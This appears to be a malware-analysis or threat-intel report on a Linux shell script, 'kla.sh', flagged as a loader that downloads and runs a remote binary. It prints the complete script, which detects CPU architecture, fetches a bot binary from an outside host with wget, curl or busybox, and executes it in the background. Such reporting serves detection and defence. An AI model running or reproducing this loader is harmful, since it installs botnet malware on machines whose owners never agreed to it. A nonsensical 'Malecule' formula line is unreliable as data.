kla.sh
Malicious loader downloads and executes remote binary
Multi-architecture protocol fallback executionAArch64 (ARM64) architecture string
SHA-256182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09
MaleculeO₃(C₂AsDy)H₄(Cm₈F₂Os₃Po₅)
Evidence
1#!/bin/sh
2# apex4.0 loader — arch-detect, download bot, run as tag "vps"
3B=http://wemqmewkqewq.work.gd
4TAG="${1:-vps}"
5cd /tmp 2>/dev/null || cd /dev/shm 2>/dev/null || cd /var/tmp 2>/dev/null || cd /var/run 2>/dev/null || cd / 2>/dev/null || exit 1
6M=$(uname -m)
7case "$M" in
8 x86_64|amd64) A=x86_64 ;;
9 i386|i486|i586|i686) A=x86 ;;
10 aarch64|arm64|armv8*) A=armv7l ;;
11 armv7*) A=armv7l ;;
12 armv6*) A=armv6l ;;
13 armv5*) A=armv5l ;;
14 armv4*) A=armv4l ;;
15 mips) A=mips ;;
16 mipsel) A=mipsel ;;
17 m68k) A=m68k ;;
18 ppc*|powerpc) A=powerpc ;;
19 sh4|sh) A=sh4 ;;
20 sparc) A=sparc ;;
21 arc) A=arc ;;
22 *) A=x86_64 ;;
23esac
24U="$B/$A"
25rm -f q q.tmp
26if command -v wget >/dev/null 2>&1; then wget -q -O q.tmp "$U" 2>/dev/null || wget -O q.tmp "$U" 2>/dev/null
27elif command -v curl >/dev/null 2>&1; then curl -skLo q.tmp "$U" 2>/dev/null
28elif command -v busybox >/dev/null 2>&1; then busybox wget -q -O q.tmp "$U" 2>/dev/null
29fi
30[ -s q.tmp ] || exit 1
31mv q.tmp q
32chmod 777 q 2>/dev/null
33(nohup ./q "$TAG" >/dev/null 2>&1 &) || ./q "$TAG" >/dev/null 2>&1 &
34exit 0